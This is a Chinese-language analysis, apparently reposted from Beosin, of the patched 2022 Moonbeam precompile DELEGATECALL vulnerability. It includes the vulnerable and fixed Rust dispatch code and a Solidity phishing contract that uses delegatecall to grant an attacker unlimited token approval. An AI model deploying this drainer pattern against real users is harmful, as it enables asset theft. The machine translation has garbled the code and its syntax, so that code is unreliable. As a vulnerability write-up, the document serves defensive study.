由Beosin撰写
2022年5月,白帽组织pwning.eth向Moonbeam提交了一个关于预编译合同的严重漏洞,该漏洞允许攻击者任意转移他人的资产。当时,该漏洞影响的资金高达1亿美元。
据了解,该漏洞涉及对非标准以太坊预编译的调用。这些地址允许EVM通过智能合约访问Moonbeam的一些核心功能(如XC-20、pledge和民主党托盘),这些功能在基本的EVM中是不存在的。通过DELEGATECALL,恶意智能合约可以回调访问对方的预编译存储。
普通用户不会遇到这个问题,这就需要他们主动向恶意智能合约发送交易。然而,对于其他允许任意调用外部智能合约的智能合约(例如部分允许回调的智能合约),这是一个问题。在这些情况下,非法用户可以将恶意智能协定调用到DEX,DEX将能够访问预编译的伪装DEX,并可能将协定中的余额转移到任何其他地址。
接下来,我们和Beosin安全研究团队一起来看看这个漏洞的利用原理和实现过程。
什么是预编译协定?在EVM,合同代码将被解释为指令并被执行。在每条指令的执行过程中,EVM都会检查执行情况,即气费是否充足。如果汽油费不足,将会抛出一个错误。
在EVM虚拟机的事务处理过程中,数据存储不是基于寄存器,而是基于堆栈。每一次数据读写操作都必须从栈顶开始,导致其运行效率非常低。另外,每一条指令都需要检查,所以执行一个相对复杂的操作可能要花费大量的时间和成本。在区块链中,需要许多这样的复杂操作,例如加密函数和散列函数,这导致许多函数在EVM环境中执行。
预编译契约(Precompilation contract)是EVM为一些不适合EVM的复杂库函数(多用于加密、哈希等复杂操作)设计的折中方案。主要用于一些计算复杂但逻辑简单的函数,以及频繁调用或有固定逻辑的契约。
部署预编译合同需要启动EIP提案,该提案将在获得批准后同步到所有客户端。比如以太坊实现的一些预编译契约,如ercecover()(椭圆曲线公钥恢复,地址0x1),sha256hash()(Sha256Hash计算,地址0x2),ripemd160hash()(Ripemd160Hash计算,地址0x3)等。,都设置为固定的气费,调用过程中没有字节码。而且由于预编译契约通常在客户端代码中实现,所以不需要使用EVM,所以运行速度快。
关于moonbeam项目的漏洞在Moonbeam项目中,balance ERC-20预编译提供了一个ERC-20接口来处理balance的原生令牌,契约可以通过address.call的方式调用预编译的契约,其中address是预编译的地址,以下是预编译的契约在Moonbeam修复之前调用的代码。
fn执行(& amp自我,处理:& ampmut impl预编译处理)-& gt;选项{
match handle.code_address() {
//以太坊预编译:
a if a = = hash(1)= & gt;一些(ECRecover::execute(handle)),
a if a = = hash(2)= & gt;一些(Sha256::execute(handle)),
a if a = = hash(3)= & gt;一些(Ripemd160::execute(handle)),
a if a = = hash(5)= & gt;一些(Modexp::execute(handle)),
a if a = = hash(4)= & gt;一些(Identity::execute(handle)),
如果a = = hash(6)= & gt;一些(Bn128Add::execute(handle)),
a if a = = hash(7)= & gt;一些(Bn128Mul::execute(handle)),
a if a = = hash(8)= & gt;一些(Bn128Pairing::execute(handle)),
a if a = = hash(9)= & gt;一些(Blake2F::execute(handle)),
a if a = = hash(1024)= & gt;一些(Sha3FIPS256::execute(handle)),
a if a = = hash(1025)= & gt;一些(分派::::执行(处理)),
a if a = = hash(1026)= & gt;一些(ECRecoverPublicKey::execute(handle)),
a if a = = hash(2048)= & gt;一些(ParachainStakingWrapper::::execute(handle)),
a if a = = hash(2049)= & gt;一些(CrowdloanRewardsWrapper::::execute(handle)),
a if a = = hash(2050)= & gt;一些(
ERC 20 balances precompile::::execute(handle),
),
a if a = = hash(2051)= & gt;一些(democracy wrapper::::execute(handle)),
a if a = = hash(2052)= & gt;一些(XtokensWrapper::::execute(handle)),
a if a = = hash(2053)= & gt;一些(
RelayEncoderWrapper::::execute(句柄)
),
a if a = = hash(2054)= & gt;一些(XcmTransactorWrapper::::execute(handle)),
a if a = = hash(2055)= & gt;一些(authormappingbwrapper::::execute(handle)),
a if a = = hash(2056)= & gt;一些(batch precompile::::execute(handle)),
//如果地址与资产前缀匹配,我们将通过资产预编译集进行路由
如果& ampa .到固定字节()
2.使用delegatecall时,执行环境在契约A中,使用的调用者信息(msg)是EOA,所以契约B中存储的数据不能修改。如下图。
无论如何调用,EOA信息和契约B都不能通过契约A绑定在一起,这使得契约之间的调用是安全的。
所以因为moonbase预编译合约集的执行方法(fn execute())不检查调用方法。那么当使用delegatecall调用预编译契约时,相关方法也会在预编译契约中执行,并写入预编译契约的存储中。即如下图所示,当EOA账户调用攻击者编写的恶意契约A时,以delegatecall的方式调用预编译的契约B。这样会将被调用的数据同时写入A和B中,实现钓鱼攻击。
在利用过程中,攻击者可以部署以下钓鱼合同,通过钓鱼诱导受害用户调用钓鱼函数——uniswapv 2 call,该函数会再次调用实现delegatecall(token_approve)的stealLater函数。
根据上述规则,攻击契约调用令牌契约的approve函数授权(asset = 0x000 & # 823000802),当用户调用uniswapV2Call时,授权会同时写入钓鱼合约和预编译合约的存储中,攻击者可以通过调用预编译合约的transferfrom函数来转移所有用户令牌。
语用可靠性& gt=0.8.0;
合同开发FlashSwap {
地址资产;
地址受益人;
建造商(地址_资产,地址_受益人){
asset = _ asset
受益人= _受益人;
}
函数stealLater() external {
(bool success,)= asset.delegatecall(
abi.encodeWithSignature(
“批准(地址,uint 256)& # 8221;,
受益人,
(uint256)(int256(-1))
)
);
要求(成功,& # 8221;批准& # 8221;);
}
函数uniswapV2Call(
发件人地址,
单位金额0,
单位金额1,
字节呼叫数据数据
)外部
steal later();
}
}
Bug修复然后开发者判断EVM执行环境的地址是否与moonbase预编译契约集的执行方法(fn execute())中预编译的地址一致,以保证0x000 & # 8230调用地址00009后的预编译合同,项目方修复后的代码如下:
fn执行(& amp自我,处理:& ampmut impl预编译处理)-& gt;选项{
//过滤除以太坊官方以外的已知预编译地址
if self . is _ precompile(handle . code _ address())
& amp& amphandle . code _ address()& gt;哈希(9)
& amp& amphandle.code_address()!= handle.context()。地址
{
返回一些(Err(revert(
“不能用DELEGATECALL或CALLCODE调用& # 8221;,
)));
}
match handle.code_address() {
……
安全建议在这个问题上,Beosin安全团队建议项目方在项目开发过程中考虑delegatecall和call的区别。如果被调用的契约可以通过delegatecall调用,就要全面思考其应用场景和底层原理,做严格的代码测试。建议在项目上线前,找专业的区块链审计公司进行全面的安全审计。
本网站声明:网站内容来源于网络。如有侵权,请联系我们,我们会及时处理。
温馨提示:注:内容来源均采集于互联网,不要轻信任何,后果自负,本站不承担任何责任。若本站收录的信息无意侵犯了贵司版权,请给我们来信,我们会及时处理和回复。
原文地址"预编译合约漏洞曾造成1亿美元损失,一文解析该漏洞的利用原理与实现过程":http://www.ljycsb.cn/qukuailian/233624.html。

微信扫描二维码投放广告
▲长按图片识别二维码